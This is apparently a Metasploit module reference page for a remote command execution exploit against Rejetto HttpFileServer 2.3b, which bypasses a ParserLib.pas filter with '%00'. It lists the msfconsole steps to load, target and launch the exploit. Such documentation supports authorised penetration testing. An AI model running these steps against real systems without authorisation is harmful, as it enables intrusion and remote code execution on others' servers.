Rejetto HttpFileServer (HFS) is vulnerable to remote command execution attack due to a poor regex in the file ParserLib.pas. This module exploits the HFS scripting commands by using '%00' to bypass the filtering. This module has been tested successfully on HFS 2.3b over Windows XP SP3, Windows 7 SP1 and Windows 8.
Windows
To display the available options, load the module within the Metasploit console and run the commands 'show options' or 'show advanced':
msf > use exploit/windows/http/rejetto_hfs_exec
msf exploit(rejetto_hfs_exec) > show targets
...targets...
msf exploit(rejetto_hfs_exec) > set TARGET < target-id >
msf exploit(rejetto_hfs_exec) > show options
...show and set options...
msf exploit(rejetto_hfs_exec) > exploit
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